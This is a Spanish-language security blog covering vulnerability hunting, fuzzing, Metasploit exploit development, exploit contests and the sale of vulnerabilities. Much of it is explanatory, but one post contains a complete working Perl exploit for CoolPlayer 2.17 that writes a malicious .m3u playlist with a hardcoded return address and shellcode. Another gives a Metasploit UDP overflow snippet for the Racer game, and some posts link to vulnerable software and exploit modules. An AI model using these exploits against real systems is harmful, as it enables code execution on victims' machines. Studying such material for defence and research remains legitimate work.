Mostrando entradas con la etiqueta Vulnerabilidades Software. Mostrar todas las entradas
Mostrando entradas con la etiqueta Vulnerabilidades Software. Mostrar todas las entradas

miércoles, 30 de marzo de 2011

Cómo buscar vulnerabilidades en software

Hace mucho que no escribo nada, y esta vez será solo para recomendaros un artículo escrito por mi. El artículo describe las formas de búsqueda de vulnerabilidades actuales, aunque con ingenio seguramente se os ocurra alguna que sea eficaz también.

Cómo buscar vulnerabilidades en software
Voy a introducir en mi primer post en este blog, el cual trata sobre la búsqueda de vulnerabilidades enfocadas a binarios y no a aplicaciones web. Normalmente, los software vulnerables a buffer overlow, vulnerabilidades double free, null dereference… están programados en C o C++, lo que aumenta su peligrosidad, ya que otros lenguajes de programación tratan, por ejemplo, los arrays de caracteres de forma segura chequeando el tamaño de los mismos, en cambio en C Y C++, se le da total libertad al programador y es él quien debe encargarse de esos chequeos, esto no pasa en lenguajes como Java, Ruby, Perl, Delphi, etc.
Cuando auditamos una aplicación en busca de vulnerabilidades, podemos hacerlo de dos formas, a partir de su código fuente, lo que se llama análisis de código fuente, también llamada auditoría de Caja Blanca (WhiteBox), o a partir del binario de la aplicación llamada auditoría de Caja Negra (BlackBox). Realmente, en ciertas ocasiones podemos tener sólo disponibles partes del código pero de momento vamos a ir viendo esos dos casos:

Auditoría de código fuente
Para realizar dichos análisis, debemos indispensablemente saber programar muy bien en algún lenguaje como C y alguno orientado a objetos. Cuantos más conocimientos se tenga de programación, varios lenguajes completamente distintos, tecnologías, framework’s, etc. Nos será más efectivo llevar el análisis de código, además de conocer los posibles tipos de vulnerabilidades existentes, y normalmente en qué situaciones son provocadas o qué funciones son muy peligrosas de utilizar, si no se controlan bien. Para ello, nos podemos informar en internet aunque al final dejaré enlaces y libros enfocados a fallos típicos en binarios, los cuales pueden ser de nuestro interés para analizar aplicaciones en busca de vulnerabilidades. En la auditoría de binarios veremos algunas técnicas que perfectamente pueden servir para esto.

Análisis de binarios
En este caso suele estar disponible sólo el ejecutable, ya sea el típico PE de Windows, ELF de Linux, ROM…Veremos ejemplos más delante de binarios sobretodo enfocados a Windows. Veamos varias formas de buscar vulnerabilidades en binarios:

-Fuzzing: Consiste en realizar pruebas automáticas, en base a una investigación previa sobre la estructura de lo que queremos analiza, ya sea mediante el documento de especificación, o reverseando algún programa. Se utiliza para todo tipo de programas, pero es normal verlo para programas que abren “X” tipo de fichero y tienen una estructura interna por dentro. Por ejemplo, los pdf’s que están de moda, tienen una estructura y si se hace un programa que vaya generando numerosos documentos pdf’s malformados, pueden salir que un mismo pdf puede afectar a varios programas que no tienen nada que ver o que van copiando partes unos de otros, incluso varios fallos en un mismo lector de pdf’s.

-Ingeniería inversa: Mediante un depurador o desensamblador, como IDA Pro u OllyDbg, se puede ver el código en ensamblador y depurar el mismo. Tenemos el problema de que puedan ir protegidos, y se necesita un conocimiento en estas áreas, pero son herramientas perfectas si sabemos dónde buscar y nos pueden ayudar bastante a encontrar vulnerabilidades complejas, o incluso backdoors dejadas por programadores, que no se esperan que nadie pueda verlas, por ejemplo un condicional tipo ” if(password == “magicword:P”) “.

-Decompilación de código: A partir de decompiladores específicos de cierto lenguaje como los existentes para Delphi o .NET, tendríamos disponible el código fuente, siempre y cuando no viniera ofuscado ni con otras protecciones que llevaran más tiempo analizar. En este tipo de lenguajes y binarios pueden ser comunes los fallos tipo Command Injection y demás. Si intentamos decompilar un binario con código C/C++ podemos usar el IDA Pro con un plugin llamado Hex-Rays Decompiler que te lo traduce a código C aunque se pierden todos los símbolos y es difícil de seguir, pero mejor C que ensamblador en muchas ocasiones. De este modo, podríamos comenzar una auditoría manual y un análisis automatizados del código fuente como el de Buguroo BugScout.

-Ejecución simbólica: Es una técnica que, a partir de un método que se ejecuta al principio (un mecanismo interesante es el de proporcionar de entrada “X” valores de interés como entradas de usuario, para ello habría que adaptar el programa) es capaz de recorrer dinámicamente, todas las posibles rutas de ejecución de un programa y así encontrar vulnerabilidades difíciles de encontrar mediante otros métodos. El compilador-optimizador se llama LLVM y para esta tarea de búsqueda de vulnerabilidades se suele usar la máquina virtual KLEE. Se necesita compilar el código fuente de C, por ejemplo, con gcc-llvm. Se utiliza para programas que ya han sido testeados muchas veces. Este método puede descubrir alguna vulnerabilidad adicional ya que explora todo en ejecución y algunos compiladores modifican el código cuando compilan, (optimizaciones y demás) y se han dado varios casos en los que los códigos se han vuelto inseguros a través de estas modificaciones.

- Diff de binarios: Actualmente, un modo de hacer exploits es una vez que han parcheado un software, se aplican comparaciones entre la versión parcheada y la antigua, como pasa con los parches de Microsoft del tipo MS11-xxx, y se descubre el trozo de código que ha cambiado y se puede ver el fallo. Aunque propiamente el fallo ya ha sido descubierto antes, a veces se puede usar para encontrar fallos que han parcheado de manera silenciosa. Esta técnica también se puede aplicar a la auditoría manual si es un diff de código disponible.

-Testing manual: Hay varias formas de realizar este testeo para lograr buenos resultados, vamos a repasarlos brevemente:

Dejar la aplicación en manos de compañeros desarrolladores, y que vayan accediendo por todos lados probando inputs aleatorios y en algún caso, si existen zonas restringidas se les pase claves para que vayan probando en todas las zonas.

Una técnica utilizada por muchos productos, es lanzar el producto en versión Beta, y que la gente reporte problemas y errores descubiertos mediante su uso, estas versiones suelen llevar formas de reporte especial, además algo molestas para usuarios que en versiones oficiales no tienen.
Después de repasar cada método podemos inferir que ventajas y limitaciones tiene cada uno. En base a las limitaciones temporales que conlleva en muchas ocasiones la búsqueda de vulnerabilidades, elegiremos uno u otro. Utilizando todos de forma eficaz se puede llegar a un construir un software seguro.

También hay que destacar que hay tipos de análisis que se solapan. Por ejemplo, en este artículo no veo necesario entrar en el caso del threat model. Abajo os muestro algunos enlaces divididos por vulnerabilidades descubiertas con los distintos tipos de búsqueda de vulnerabilidades. Además, os dejo información de algunos de los temas tocados para que investiguéis en profundidad, aunque en posteriores post se irán tocando estos temas y otros de cómo aprovechar dichas vulnerabilidades mediante exploits.

Enlaces sobre distintos tipos de vulnerabilidades descubiertas con los métodos vistos:

Fuzzing:
Ingenieria Inversa:
Decompilación:
Ejecución Simbólica:
Diff de binarios:
Manual testing:
*Decir que hay cientos de ejemplos en Internet, es cuestión de buscarlos. Entre ellos, alguno mio del que estoy seguro del método que se usó para descubrir la vulnerabilidad. En algún enlace se puede ver mezcla de métodos, incluso alguno general que tienen muchas vulnerabilidades pero que considero interesantes.
Otros enlaces de interés:

 Link: http://blog.buguroo.com/?p=344

Saludos!!

lunes, 28 de septiembre de 2009

La guinda del pastel de SMB2

Bueno, hace tiempo os sonaría haber oido algo de que se había encontrado un fallo en windows vista y 7 que podía ser afectado de forma bestia por redes. Y aunque fue categorizado como DOS primeramente por Laurent Gaffié, el cual no pensaba que fuera posible explotar, después de una llamada de atención por parte de algunos, yo sólo sé de 48bits.com así que no sé si fueron los primeros. Decían en su blog que era posible explotarlo y así fue, no tardarían en investigar la gente el tema. Y hasta ahora todo era privado, pero metasploit lo acaba de publicar: http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

Os recomiendo echarle un ojo para aprender bastante, ya que han ido explicando los autores como lo han hecho.

Un saludete

domingo, 16 de agosto de 2009

Proyecto EEW(Expert Expoit Writer)

Os voy a hablar de un proyecto que se traen entre manos desde hace tiempo boken y yibam.

El proyecto en sí es la creación de una herramienta capaz de generar exploits a partir de un PoC en ficheros script de python completamente funcionales por sí solos.

Os copio parte de los blogs de yibam y boken:

El usuario indicaría la longitud de la cadena que provoca el Buffer Overflow, la via por la cual el software vulnerable es capaz de recibir dicha cadena. Por linea de comandos, en forma de fichero interpretables por el software vulnerable, por conexión de red (socket), como argumento de una función de una libreria .dll, etc... Y la herramienta comienza todo el proceso de análisis.

El análisis automático que realiza la herramienta, consiste en montar la PoC y lanzarlo contra el software vulnerable para provocar el crash de Access Violation. Debido a la infinidad de casos, la herramienta va salvando los diferentes obstáculos (AntiDEP, SafeSEH, excepciones de escritura o lectura de ciertas direcciones, localización de direcciones validas para hacer un trampolin valido, etc...) hasta llegar a sobreescribir EIP y con toda esa información, crear un script .py que al lanzarlo de manera independiente, sea capaz de ejecutar una shellcode explotando el fallo indicado por la PoC en el software vulnerable.

----

Bueno, os dejo que descubrais vosotros mismo las grandes utilidades que va a tener, de momento se puede usar en modo API, y como bien dicen ellos, el framework Sulley...que es para fuzzing, se podría acoplar y hacer...maravillas!!! ejeje

En el apartado de links de distintos blogs aparecen los blogs de yibam y boken y el link del proyecto es el siguiente:EEW(Exploit Expert Writer)

La única pega que le pongan el nombre en inglés jejej

lunes, 20 de julio de 2009

Pwtent Pwnables 100 - Solucion Defcon

Ya que hace tanto que no escribo en el blog, os dejo un zip con una solución de una prueba de la DefCon que trataba del tema que más me gusta, el exploiting jeje.

Ahí tenéis el link para descargar: 100 Pwtent Pwnables

Decir que el zip contiene pdf y docx, además de incluir otros archivos que en el pdf no he podido meter o se ven mal. En el documento docx está todos los archivos incluidos y la imagen si se ve bien.(El pdf lo cree desde el office, por eso se ve mal xD).

Espero que os guste y cualquier duda o sugerencia, son bienvenidas :p

Por cierto, contiene un exploit remoto hecho para metasploit :P

miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.

sábado, 14 de febrero de 2009

Exploits hechos para el MSFXDC(1)

Bueno en determinados temas del blog iré mostrando los exploits hechos y además como han sido desarrollados y los que no hice desde 0, serán llevados del lenguaje que tuvieran en milw0rm a ruby para metasploit. Iré mostrando las similitudes que tienen entre ellos y cómo es fácil desarrollar un exploit que se basa en los mismos tipos de vulnerabilidades, locales, remotos, mismos protocolos, etc. Metasploit está preparado para gran número de exploits aunque todavía le faltan algunos protocolos para no tener que enviar muchos bytes de un protocolo en especial mediante tcp/ip.

De forma general los divido en 3 categorías, entendéreis el porqué.
Voy a dividir los exploits remoto de manera que los 2 primeros tipos son genéricos y cuando vayan saliendo protocolos conocidos FTP, SMTP, IMAP...etc, los iré poniendo separados. Por ejemplo en las siguientes categorías:

REMOTOS:
::TCP
::UDP
::FTP
::Otros Protocolos(IMAP,SMTP...)
::Explotados con Navegador(Especialmente Activex)

LOCALES:
::FILEFORMAT

WEBAPP:
::RFI
::RCE

Muchos de los subtipos, se pueden hacer de forma casi genérica, sólo cambiando lo esencial.
Como dije iremos viendo de todo tipo, mientras tanto boken escribirá algo más relacionado con Metasploit en general, que cómo veréis será muy interesante.
Con esto aprenderéis la forma rápida de hacer vuestro exploit y de probar con el mismo Metasploit si no sabéis programar con protocolos.

Decir, que estéis atentos a la herramienta de Jerome Athias, MSF-XB:
https://www.securinfos.info/metasploit/MSF-XB.php

Más que nada, porque se va actualizando y hablaré con él la forma de poder elegir para hacer ciertos exploits. Para que sea casi for dummies jeje, para así hacer de Metasploit una herramienta muy buena para las auditorías.

martes, 3 de febrero de 2009

MetaSploit Framework eXploits Development Contest

Feliz 2009, más que nada porque llevo más de dos meses sin escribir por aquí jeje. Y bueno aprovecho el primer post de este año a este concurso.

El concurso organizado por Jerome Athias de JA-PSI, trataba de conseguir el mayor número de puntos. Éstos se podían conseguir dependiendo del tipo de exploit que hicieras, si era un poc, un exploit para aplicaciones web, o si eran locales o remotos funcionales. Todo ello portado para metasploit. En el link del final tenéis mejor la info del concurso y los exploits mandados al mismo.

La verdad fue un mes duro ya que todo exploit portado de milw0rm a metasploit tenía que probarlo en mi máquina, ello implica buscar la app vulnerable, ajustarlo a mi sistema y que funcione de forma simple(Se irán mejorando con tiempo), y muchos de los probados ya estaban en metasploit o directamente la gente los envió a milw0rm como buenos y luego realmente tienen filtros u otras cosas que hacen que no funcionen. Vamos que sobreescriben el ret con AAAA y luego los 4 siguientes BBBB, y como eip es 41414141 y esp 42424242, a la hora de modificarlo ponen una shellcode cualquiera y un salto a esp en EIP y aunque no lo prueben lo mandan...Eso lo ví en varios desbordamientos de pila.

Además, aunque personalmente veía mal que enviasen webapp porque metasploit está enfocado más en otro tipo de aplicaciones, me puse a fondo para conseguir ventaja y hasta envié yo webapp sin probar, pero que modificados casi nada, son todos iguales(los RFI jeje).

Así que después de tanto currar al final tuve lo prometido, gané y me enviaron el premio sin problemas a mi cuenta, y además estoy apuntado para la FRHACK, conferencia a la que me gustaría ir, si alguien de España lee esto y se apunta que me diga que voy sólo jeje. Hablaré de ella en otro momento :D.

Finalmente, agradecer a Jerome Athias porque las veces que hablé con él fue muy majo y por organizar este tipo de concursos, que más que nada era me animaba a hacer exploits para metasploit, cosa que tenía pensado hacer pero que nunca me animaba.
Así que parte de lo aprendido, lo plasmaré en algún lugar o mi amigo Boken lo hará con sus tutos.

Tutos para hacer exploits para metasploit:
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 1 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 2 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 3 - +NCR CRC!

Además os digo que si tenéis app vulnerables que no estén en la lista siguiente, hacérmelo saber a mi o a la cuenta de correo que sale en la siguiente web:
https://www.securinfos.info/old-softwares-vulnerable.php

Link del concurso:
https://www.securinfos.info/metasploit/msfxdc.php

martes, 11 de noviembre de 2008

Articulo - Explotando Activex con Heap Spraying

El mes pasado en CracksLatinos enviaron al concurso un fallito ya descubierto y explotado por shinnai en el que había que conseguir explotar una vulnerabilidad en Ultra Office, que era un programita que se podía ejecutar a través del navegador.

Cuando un programa se puede ejecutar a través de el Internet Explorer como son los Activex, si éste tiene un fallo, hay formas de aprovecharse de dichos fallos de una manera muy universal, y bastante eficaz con algunas modificaciones en el exploit original de la técnica que usaremos (Heap Spraying).

Así que, stack-based buffer overflow + Activex + navegador(IE) = Heap Spraying y derivados, y tendremos el control de muchos PCs con sólo poco trabajo como podéis leer en el tuto.
Para que veáis de que trata exactamente os recomiendo que lo miréis y en internet tenéis que buscar mas información sobre ello.

Habrá una segunda parte con métodos inseguros.

Descarga: Articulos - Explotando Activex con Heap Spraying

domingo, 21 de septiembre de 2008

Venta de Vulnerabilidades en software

Hoy en día, muchos informáticos con conocimientos sobre vulnerabilidades, explotación de las mismas, e ingeniería inversa en general, se pueden ganar un buen sueldo con la venta de lo que descubren de forma legal, vendiéndolo a empresas que tienen clientes que proteger, y reportándolo a la empresa propietaria del software afectado o a los encargados de hacer ese software.

Actualmente, de forma legal conozco 2 y aunque habrá más, son las más conocidas. También hay otra que no es muy "legal" que se pueda decir, ya que vende vulnerabilidades a los que pongan el precio sin importar quien sea, pero con los datos del comprador en teoría, no directamente a la empresa que lo reportará a la afectada como debería ser para evitar problemas.

Os voy a hablar un poco de las 3:

ZeroDayInitiative(ZDI)
Pertenece a 3com-TippingPoint y pagan bastante bien. Es una de las 2 empresas que conozco, y la verdad, parece muy buena. Ellos te proporcionan una lista de las aplicaciones y fabricantes que seguramente acepten vulnerabilidades, y a partir de ahí, dependiendo del tipo de vulnerabilidad, uso extendido y demás de la aplicacion te pagan más o te pagan menos.
Ejemplos conocidos:

Adobe Pdf Reader 8.1.2 Local and Remote Code Execution across Web Browser --> 4000$

Adobe Flash Player 9.0.115.0 and earlier DeclareFunction2 Invalid Object Use Vulnerability --> 5500$


Sacado de infolancer - Vallejo.cc

iDefense Labs
La otra empresa que parece bastante buena y pertenece a Verisign, y que recientemente hizo algunos cambios por lo que pagará más en algunas vulnerabilidades importantes porque creo que quitaron concursos que hacían antes. Ésto me llegó al mail ya que ando registrado ahí desde hace tiempo. No tengo ninguna suma conocida, pero en la misma web que en ZDI, la de Vallejo, comenta que una vulnerabilidad con ejecución de código en algún software, de momento desconocido, le han llegado a pagar 8000$.

Wabisabilabi
Desde hace pocos días, no me aparece las que se venden actualmente, no muestra ninguna, así que no se si seguirá en funcionamiento si quiera...Ya bastante info hay de este en las noticias de internet.
Os dejo una lista de lo que se ha pagado por algunas vulns:
PostgreSQL 8.3.1 con PoC, Remota(No especifica de que tipo) --> 800 Euros
Safari 3.1 con Poc, Remota(Visitando un link seguramente) --> 300 Euros

IBM DB2 9.1.0 sin Poc, Remota --> 1050 Euros
SAP GUI v 620 con Poc x 3 Vulnerabilidades --> 5100 Euros/Vulnerabilidad


Ahi teneis lo que se ha pagado y por cuales.
http://www.wslabi.com/wabisabilabi/initAssignedBid.do?

Luego hay otras que ofrecen menos dinero y son menos conocidas, o directamente las ventas ilegales, que ahí si que te pueden pagar grandes cantidades. Pero merece la pena hacer eso y que te miren mal, pues no.

Espero que os sirva, y el día que consiga vender una, os daré mejor mi opinión, si es que algú día lo consigo, que cada bug que consigo o ya ha sido encontrado o es flojillo y no lo compran porque no les merece la pena.

jueves, 18 de septiembre de 2008

De Vuelta

Después de ver las escalofriantes cifras que llegan a pagar por fallos tanto idefense como tippingpoint, me he animado a buscar fallos en software comercial conocido con la intención de encontrar algún fallo bueno y venderlo a ver que tal pagan, ya que pronto hay que sacarse el carnet de coche y no llega..ahora la cosa es buscar bien y probar y probar, una parte que puede llegar a ser muy aburrida.

Asi que Fuzzing, fuzzing y más fuzzing hasta encontrar algo, de momento descubri algunos que ya fueron vendidos o posteados así que nada...xD

viernes, 1 de agosto de 2008

El trabajo de Ricardo Narvaja y el grupo CrackLatinos

Esta vez voy a hablar de la ingeniería inversa, una lista que es CrackLatinos y un autor que es Ricardo Narvaja, cuyo trabajo te da bastantes conocimientos sobre la ingeniería inversa, junto a todas las colaboraciones que se hacen a la lista de Cracklatinos por tantos autores que me extendería demasiado.

La "Introducción al Cracking con ollydbg desde cero" hecha por Ricardo Narvaja. Además de cursos actuales como el de python y otros posteriores que hará de exploiting y todos ellos de bastante buena calidad, le hacen importante en el ámbito de la ingeniería inversa.

Además te contesta siempre que puede en la lista de forma rapidísima, te ayuda y colabora bastante lo que le hace un gran tío.

Para aprender, organiza concursos de distinta temática, entre ellos:
  • Para quitar distintas protecciones que pueda traer un programa, unpacking...
  • Sacar serials a programas hechos para la labor(crackmes)
  • Exploiting, para entender como se pueden explotar los fallos en software.
Son bastante recomendables para aprender. Además en la lista, los usuarios normalmente suelen aportar con tutoriales que hacen mostrando lo que aprenden y como se hace. Un gran nivel para lo único que hace falta es tener Internet, y registrarse en la lista y cuando se pueda aportar, por supuesto.

Tenéis todo el trabajo de CrackLatinos y Ricardo en su FTP, se puede entrar mediante http://www.ricardonarvaja.info, allí se encuentran los concursos, aportaciones de la gente y obras otras cosas que podréis descubrir.
Podrás encontrar hasta un índice de las aportaciones, protecciones que trae y las técnicas antidebugging entre otras cosas.
Así que, en definitiva, pasaros por la lista o por la web si os interesa aprender sobre ingeniería inversa.
Aprovecho para saludar a la gente de allí: dapaf, boken, ricnar, apuromafo, solid, NCR, gera, karmany, etc, etc.

viernes, 23 de mayo de 2008

Trillian muy vulnerable

Como ya le comenté hace tiempo a Juan Pablo López cuando descubrió una vulnerabilidad en Trillian poco después de que yo descubriera otra y también le comenté a boken lo mismo, les dije que trillian parecía muy vulnerable y el tiempo lo ha demostrado, está muy mal programado para ser una empresa que parece que tiene buen nivel económico. En cuestión es Cerulean Studios, y al entrar hoy en SecurityFocus, veo 3 advisories procedentes de Zero Day Initiative, lo miro a ver que es y me encuentro con el siguiente link donde está toda la información.

Gapping holes in Trillian IM client

Entre los fallos parece que hay varios fallos remotos sencillitos de explotar, ya veremos con tiempo de que se trata.

martes, 12 de febrero de 2008

A la carga con los exploits

El taller ya lo abrí para irse iniciando, decir que aunque está un poco chapuza, espero que no tengan problemas y aprendan mucho, todos los post del foro se irán actualizando a medida que haya más información, corrección de fallos, links que falta poner, software que analizar, etc.

Así que espero que se animen y aprendan que es un tema bastante bonito jejej

Os espero a todos los que se animen y quieran compartir y aprender

Saludos y suerte


Link:http://www.p1mp4m.es/index.php?showforum=28

miércoles, 23 de enero de 2008

Taller de Buffer Overflow

Una idea que tenía hace tiempo y que me precipité al intentar hacerlo sin mucha experiencia, y ahora aunque no domino el tema, me gustaría empezar a enseñar para seguir los pasos de quienes nos enseñan en este mundillo, para ello se empezará desde lo más bajo y se irá subiendo el nivel. Espero que esto coja fuerza y sean unos cuantos los que se apunten y se interesen, además con un poco de suerte, quien sabe, tal vez terminemos todos dominando el tema antes de lo que pensabamos, pero claro para ello hay que saber bastantes cosas y lleva tiempo. Así que nada, quien quiera apuntarse, que se diriga a http://www.p1mp4m.es/index.php?showtopic=65 y se apunte u opine cualquier cosilla.

Espero que os guste el tema y cuando comience aprendais tanto como yo estoy aprendiendo y mas!!!

domingo, 30 de diciembre de 2007

Exploit para CoolPlayer 2.17, .m3u

Despues de pasar por algun problemilla...se pudo solucionar y terminar el exploit listo y funcional:

#!/usr/bin/perl
################################################################################
#####################################
#
#CoolPlayer, Latest Build: 217
#Web:: http://coolplayer.sourceforge.net/
#Playlist(.m3u) File Local Buffer Overflow Exploit
#
#Vuln:http://www.securityfocus.com/bid/21396
#
#Instrucciones:coolplayerm3u.pl debe de estar en el mismo directorio que el perl.exe
#
#Agradecimientos a: Luigi Auriemma que ha descubierto una nueva vulnerabilidad en este software junto
# a esta vuln que era antigua y que ha sido redescubierta en un software con adware por mi jeje
# TotalPlayer 3.0(fake de Coolplayer), thanks luigi xDD
# Además del equipo de www.p1mp4m.es -->musashi,patoruzu,elvispresley,pepepistola,skyline2412
#
# Y en especial a este ultimo:skyline2412(puso parte del codigo y me ayudo bastante con la tarea) y
# el_manguan que estuvo ayudando tambien y probando.
#
#Exploit por: Trancek
#Email:trancek@yashira.org
#
################################################################################
######################################
use Cwd;

print "CoolPlayer 2.17 .m3u Exploit\n\n";


$dir = getcwd()."/";
$lon = length($dir);
$nanai = 260 - $lon;
$junk = 'A' x $nanai;
$ret = "\xED\x1E\x95\x7C"; #jmp esp,win xp sp2(spanish)



# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x33\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x66".
"\x3f\x59\x90\x83\xeb\xfc\xe2\xf4\x9a\xd7\x1d\x90\x66\x3f\xd2\xd5".
"\x5a\xb4\x25\x95\x1e\x3e\xb6\x1b\x29\x27\xd2\xcf\x46\x3e\xb2\xd9".
"\xed\x0b\xd2\x91\x88\x0e\x99\x09\xca\xbb\x99\xe4\x61\xfe\x93\x9d".
"\x67\xfd\xb2\x64\x5d\x6b\x7d\x94\x13\xda\xd2\xcf\x42\x3e\xb2\xf6".
"\xed\x33\x12\x1b\x39\x23\x58\x7b\xed\x23\xd2\x91\x8d\xb6\x05\xb4".
"\x62\xfc\x68\x50\x02\xb4\x19\xa0\xe3\xff\x21\x9c\xed\x7f\x55\x1b".
"\x16\x23\xf4\x1b\x0e\x37\xb2\x99\xed\xbf\xe9\x90\x66\x3f\xd2\xf8".
"\x5a\x60\x68\x66\x06\x69\xd0\x68\xe5\xff\x22\xc0\x0e\xd0\x97\x70".
"\x06\x57\xc1\x6e\xec\x31\x0e\x6f\x81\x5c\x38\xfc\x05\x11\x3c\xe8".
"\x03\x3f\x59\x90";

$nopeando = "\x90" x 20;


open(m3u, ">./vuln.m3u");
print m3u "$junk";
print m3u "$ret";
print m3u "$nopeando";
print m3u "$shellcode";

print "Instrucciones: coolplayerm3u.pl debe de estar en el mismo directorio que el \n";
print "perl.exe o al llamarlo debes de tener el directorio de perl en las variables de entorno \n\n";

print "Directorio: ",$dir,"\n";
print "Longitud del directorio: ",$lon,"\n";
print "Numero de Junk(A) Total: ",$nanai,"\n\n";

print "Cuidado: Cambiar el archivo de directorio, provoca que no funcione el exploit\n";
print "Depende del directorio actual del archivo .m3u y da problemas en el directorio\n";
print "raiz C:\, F:\, etc...(Son 3 'A' mas)\n\n";

print "Archivo creado\n";


Link: http://www.p1mp4m.es/index.php?showtopic=58

sábado, 1 de diciembre de 2007

Yashira On y Mi reto para el que se atreva

Bueno ahora andan en un VPS configurado todo tal y como quieren, para que sea seguro y resista duros ataques de botnets normalitas. Principalmente, es posible gracias a g30rg3_x y a los que colaboraron dando dinero también: skyline2412, patoruzu y Mcrow. Falta mi colaboración que llegará en cuanto me llegue la tarjeta nueva que con la que tenía no me vale.
Así que en Yashira.org ya pusieron la nueva versión con todos sus retos, entre ellos el mio. Os dejo la descripción del mismo y acuérdense es un reto, que no es real del todo y es así porque la cuestión es aprender y asi no tardar demasiado en encontrar la vulnerabilidad.


Nombre del reto
Mision para Lara Croft

Indicaciones para que funcione bien

1º-Ruta Obligada --> C:\RetoOverflow\reto.exe & C:\RetoOverflow\md5.dll

2º-Hacer el reto con permisos de Administrador para evitar cualquier problema, porque puede que no funcione de no hacerlo así, ya cuando descubran el bug sabrán el porqué, o sino después de que lo encontréis os lo digo yo. (Si sabéis que bug es y aún así no os funciona me decís más que nada porque podria dar algun pequeño problema...pero solo cuando ya sepáis cual es la vulnerabilidad).

3º-Este reto no consiste en buscar en el código del reto con un debugger, de momento, el posible error y por ello está empacado con el themida porque no quiero que miréis el código y lo saquéis así porque sí, hay otros modos de descubrir un bug ademas de ver el código y por ahí va parte del reto.


Como pasar el reto

1º-De momento ,solo será necesario que encuentren el bug, y me envien la prueba de que funciona con argumentos AAAA dando el problema en la dirección 41414141, vamos lo de siempre, un access violation ahí.

2º-Guiaros por la lógica y pensar...seguro lo sacáis pronto.

Futuro

Más adelante espero que esté la version 2 del reto y será algo más complicada porque habrá que ejecutar la calculadora por ejemplo...y como podréis ver más adelante hay trucos, maldito win y las vuln que hay sobre él...ejejej


Para mas información mirar la Ayuda del programa.

Premio

El que lo descubra sin trampas de chivatazos y se lo haya currado le paso el código del reto y ya veré si algo más.



Saludos y Suerte

Link: Reto 172

sábado, 3 de noviembre de 2007

P1mp4m T34M

Bueno hace nada nos mudamos del Blog de P1mp4m a la web oficial y foro de momento P1mp4m.es en el cual se va a dar ayuda a todos los usuarios que lo necesiten, además de integrar algunos cambios que principalmente no tienen todas las web de este tipo como son: Un laboratorio (la idea que más me gusta), en el cual al principio se cogerá software que tienen vulnerabilidades para estudiarlo y de ese modo aprender, además de poder encontrar otras posibles vulnerabilidades en el mismo software que no estén publicadas, el tipo de aplicaciones principalmente serán las basadas en Web, y muy probable que PHP las que más, pero a lo largo del tiempo si todo va bien, se podría incluir bajo ASP.Net y aplicaciones software (tema bastante interesante).

También se va a incluir una biblioteca con todo tipo de manuales, y artículos escritos por el team o por gente de la comunidad, abarcando temas actuales sobretodo.

Todo esto se está planeando y está quedando montado de tal forma que cuando empiecen a llegar usuarios ya esté finalizada la web.

Así que espero que os guste y disfruten con el contenido y aprendiendo!! Sobretodo hay que ser autodidacta muchas veces pero con ayuda de alguien que siempre viene bien.

P1mp4m

domingo, 28 de octubre de 2007

Fuzzing: Brute Force Vulnerability Discovery (Paperback)

Hoy voy a escribir sobre un libro que me quiero comprar que la verdad me parece muy interesante sus contenidos y que claramente es muy profesional solo hay que ver a los autores que lo han escrito y donde trabajan. Bueno ahi va la descripción que aparece en amazon.com, traducida por mí más o menos bien. En el link de la fuente viene info además sobre los autores.

Autores:
Michael Sutton
Adam Greene
Pedram Amini

Fuzzing
Actualmente es una de las más poderosas técnicas para revelar fallos de seguridad. El fuzzing es una de las formas más efectivas de ver la seguridad del software. Para fuzzear, tu atacas a la entrada de datos de un cógido aleatorio del programa, y después sistemáticamente identificas los fallos que surjan. Los hackers llevan confiando en el fuzzing durante años: Ahora, es tú turno. En este libro, reconocidos expertos en fuzzing te muestran cómo usar el fuzzing para descubrir debilidades en tu software antes de que alguien lo haga.

Fuzzing es el primer y único libro que cubre el fuzzing desde el principio hasta el final, dándote una disciplina mejor para practicar una técnica que ha sido implementada de una manera informal tradicionalmente. Los autores empiezan por revisar como trabaja el fuzzing y como leer entre líneas da ventajas cruciales sobre otras formas de ver la seguridad. Después, ellos introducen lo más reciente en técnicas en el arte del fuzzing para encontrar vulnerabilidades en protocolos de redes, formatos de archivos, y aplicaciones web; demuestran el uso automatizado de las herramientas de fuzzing; y presentan varios casos profundizando como trabaja el fuzzing.

